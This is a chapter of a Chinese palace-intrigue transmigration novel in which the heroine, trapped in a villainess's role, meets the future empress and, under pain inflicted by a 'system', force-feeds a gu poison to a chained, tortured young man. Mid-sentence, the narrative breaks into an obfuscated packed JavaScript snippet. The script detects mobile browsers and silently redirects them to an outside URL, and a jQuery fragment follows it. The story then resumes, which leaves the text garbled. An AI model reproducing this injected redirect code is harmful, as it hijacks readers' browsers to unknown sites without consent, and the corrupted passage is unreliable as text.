快行至皇帝的养心殿时,陈遥遇到了原书中的女主,未来会继承皇位的长公主,海迎春。
短暂的匆匆一瞥中,陈遥只觉得长公主相貌娴静和善。她嘴角自然上翘,一双桃花眼弯弯,并没有皇家公主的趾高气昂,面对陈遥的行礼,她甚至以浅笑和微微颔首来回应她。但细细去瞧,会发现她微微弯起的眼睛里却并无笑意,甚至带这些晦暗不明的冷漠。
匆匆行礼过后,二人擦肩而过。
海迎春敛起笑意,眼中一派凉薄,淡淡的问道:“方才那是何人?”
身后的婢子极快地回头去看,随即应道:“回公主,是教坊司的掌司谢书珍,谢大人。”
“谢家?已逝永华郡主的夫家?”
“公主记性真好,正是。”
海迎春思绪流转,养心殿后头挨着的两座宫殿,一是太后的佛云殿,二是皇后的坤宁宫。
永华郡主是太后的侄女,其母家与南梁王府有过姻亲,皇后又是已逝的南梁王的妹妹。
这谢书珍是太后?亦或是皇后的人?
“去打听打听,谢大人从何处来?”
------------------------------------------------------
长公主是从养心殿出来的,陈遥放缓了脚步,抬头去看那宫殿的匾额,镶金的蓝色额匾之上攀着两条金龙,龙目巍峨庄肃的自上而下俯瞰着整座宫殿,将近乎整座皇宫纳入眼底。
养心殿是整个皇宫地势最高的宫殿,养心殿的东边一墙之隔,是朝臣觐见之地,站在养心殿门口,可以俯瞰到永和门前那似乎无尽延伸的长长的宫阶,如同不朽的皇权,是天梯,也是禁锢。
“奴婢听说,长公主和当今陛下不是亲兄妹,而是冷宫的一位不受宠的妃子所出。宫中地位如此分明,长公主能不为身份低微的母亲所累,成为陛下最受宠的幺妹,可当真是厉害。”
回首望向长公主海迎春离去的背影,她的身影窈窕,回音眼中闪动着钦佩的光芒,感叹道。
深宫大院与寻常人家不同,比起真情,这里充斥的更多的,是权利的争夺,利益的抢占。看似唾手可得的东西,背后所要付出的却不仅仅只是一点努力,更要生出一颗七窍玲珑心来,才有可能保全自己,支撑着一步步向上爬。
闻言,陈遥点了点头,收回看着养心殿额匾的视线,无比认同道:“是啊,当真厉害。”
原书之中,当今皇帝暴虐成性,无心于政事,每日流连于酒池肉林,极好龙阳,鲜少踏入后宫,不碰后妃,自然便无子嗣出生。
长公主之母虽出身冷宫,但长公主却是与皇帝一同长大的,皇帝无心于政事,但他与长公主确是师从同一太傅。她所思所学皆与皇子无异。
有这样的一位皇兄,太傅又曾评价长公主,若为男子必有所成。
一句若为男子,对于书中长公主这样的女子来说,不可谓是另外一种贬低,贬低女子的身份和作为。
男子又如何,当今圣上横征暴敛,百姓民不聊生,无论男女,在位者只论政绩,不论性别。
对于皇位,但凡有志者,自然是皆可堪一争。
历来皇帝虽为男子,却从未有人说过,女子不可为帝。
陈遥倒是觉得,当今女子都该有像长公主一样的勇气,尽管蛰伏,隐忍,却始终知道自己要什么,要到何处去。
女子的野心不一定要在深深宅院或寂寂后宫,可以在天下,在朝野,在无名小镇,在悠悠田园,可以在任何地方。
教坊司不在宫中,宫里只设立乐师,以及训导宫妃之所。
明日冬至祭天盛宴,原主早已安排妥当,无需她再做什么,只是今日太后吩咐之事。
恐怕又有女子要为此丢掉性命了。
陈遥不是圣母,拯救不了那么多人,她只要拯救谢书庭就好了。
红音得了陈遥的吩咐,留在了教坊司安排明日宴会之事。
教坊司掌司如同女官,无需留宿宫中,可同朝臣,晨聚昏散。
陈遥出宫时,还差一个时辰宫门就要下钥了,回到谢府,天已然黑了。
今早她走时,谢书庭还在密室之中,一天过去,也不知他的狂躁症如何了。
回到松雨阁,陈遥还没顾得上换去官服,便径直走入书房,推开密室石门,血腥味混着浓重的雪松冷香扑面而来。
谢书庭被玄铁链锁在床榻上,肩头的伤口血液凝固,已经结了层薄痂,腕骨与脚踝处的伤也不再流血,只是血迹滴落在榻上,染红了床褥。
听见脚步声,谢书庭侧目,眼中猩红未退,肩伤未愈,像头濒死的狼。
他一日未进水米,嘴唇干裂,嗓音低哑,甫一开口,干裂的嘴唇撕裂成数道小伤口,渗出点点血珠。
“为何不取心头血?萧魏英那毒妇可不是好糊弄的。”
萧魏英是当今太后的名讳,他直呼其名,看来是与太后积怨颇深了。
陈遥上前替他解开玄铁链,沉重的玄铁钩划过他脚踝,将已凝固的伤口又破开,带出道道血痕。
“你和太后到底什么关系?她为何如此对你?”
她没有回答他的话,端来水将他扶起来,递到他面前。
谢书庭不在强撑,就着她递过来的水碗将一碗水饮尽,因喝的太急,水流从两边溢出,顺着下巴,脖子,胸膛而下。
看着他低垂的眼眸,如饥似渴的抬手扶着她的手腕抬高水碗,将里面的水一饮而尽。
滚烫的温度从他指尖传递到她腕骨,他整个人靠着她,还在发着烧,滚烫的气息连带着陈遥也觉得有些热。
被蛊毒折磨的头痛欲裂,谢书庭身上的伤稍稍一动,结好的薄疤便又被撕扯开来,一碗水下肚,将他高烧的热意浇灭一些。
陈遥掏出帕子刚要给他擦拭水痕,却被他拍开,腕骨伤口处的血顺着手臂流了下来,他丝毫未觉。
“阿姐今日倒是有闲情逸致来看我一个病秧子的笑话。”
他似乎是缓过来一些了,于是撑着身子坐了起来,远离了陈遥,丝毫不顾高烧的身体和一身的伤,连眉头都没有皱一下。
陈遥并不知道,谢书庭血液里散发出来的雪松冷香是他痛极时,蛊虫用来麻痹他感觉的毒素,是为了不让他痛死过去。
他体内的蛊虫一月一长,寄宿在他体内,以他的血肉为养料,每月生长时会令他眼瞎耳聋,只专注于血肉被啃食的痛楚,那蛊虫便以此为食。
自从三年前谢书珍得了太后的授意,将此此蛊虫喂给他,这三年来,他每月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941013|177352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都要经受一次这种折磨。
而他也越来越狠为虎作伥的谢书珍。
其实他自五岁时被谢宁带到谢府,他便发觉自己记忆全失。
所有记忆的初识是从进入谢家后才逐渐形成的。
起初,谢书珍是真的拿他当弟弟,比他年长三岁的谢书珍是谢家独女,身边除了侍女,便是陪读的丫鬟,没有一个玩伴。
所以他入府后,也过了一段还算尚可的日子。
直到七岁的宫宴,他跟着谢书珍去见了太后。
他永远也忘不了,萧魏英看着他仿拂透过他再看另外一个人,眼中满是恨毒与愤怒丝毫不掩饰的看向他。
从那以后,他便没什么好日子过了。
太后借着谢宁和谢书珍的手,将他踩在脚下,肆意凌辱折磨,对他就像是对一条狗。
然后便是谢书珍进入教坊司,她养了一屋子的马奴,夜夜留宿其中。看向他的眼神也越来越恶心,像一条阴险的毒蛇。
他本以为自己会这样过一辈子,死在谢书珍和太后的摧残之下,或是哪一日他无法再忍受,便自我了断。
直到最近,他常常做梦,似乎是他过去的记忆,那些与蛊虫相伴相生的日日夜夜在逐渐一点一点的在他脑海之中涌现,复苏。
再加上最近谢书珍似乎改了主意,不再用之前哪种恶心的眼神看他了。
今日一整天他待在密室之中,都在思虑,也许这些加诸在他身上的痛苦和凌辱,有一日他可以还给他们。
自己涌现出来的陌生记忆里,大多都与蛊虫有关,若是他彻底恢复记忆,身上的蛊虫或有可解之法。
所以,谢书珍给他喂水,他没有拒绝。
“太后之命不可违背,不管你相不相信,我并不想伤害你。”
陈遥语音刚落,系统的警告声便响彻在她脑海,违背人设的代价不小,随之而来的是系统加诸在她腹间的疼痛。
剧痛袭来,陈遥弓起腰背,缩成虾状。
系统提示,必须要将相思缠喂给谢书庭,疼痛才会终止。
陈遥痛出一身冷汗,咬牙切齿的在心中痛骂系统。
【这什么破任务!根本不可能完成!你这样我要怎么攻略他啊!】
她的痛骂并没有得到回应,系统机械的声音一遍又一遍的催促她,聒噪的音效在她脑海重复播放。
似乎是甚至见她没有动作,腹部的疼痛竟在逐渐加大。
陈遥痛到眼前发黑,只好恨恨地取出怀里的瓷瓶,颤抖着将其打开,以迅雷不及掩耳之势,忍住剧痛微微直起身子。
上手捏住谢书庭的下巴,然后将瓷瓶中的蛊毒强行喂给他。
谢书庭听见她只说了一句话便浑身颤抖,咬着唇捂着肚子缩在床榻下的矮凳上,没过几息便猛然起身将一个物什喂给他。
有水状的液体混着什么东西顺着他喉咙被灌了下去。
一股灼烧的暖流瞬间从胃部蔓延至他的全身,随后聚集在他心口处。
心脏像是被什么东西给禁锢缠绕,瞬间紧缩,仿佛有一只无形的手捏住了他的心脏,痛的他下意识的猛然打开了陈遥的手,意识到她又给他喂了什么东西,他怒从心来,一脚将她踹开。
但却是来不及了,口中的东西已经尽数入喉了。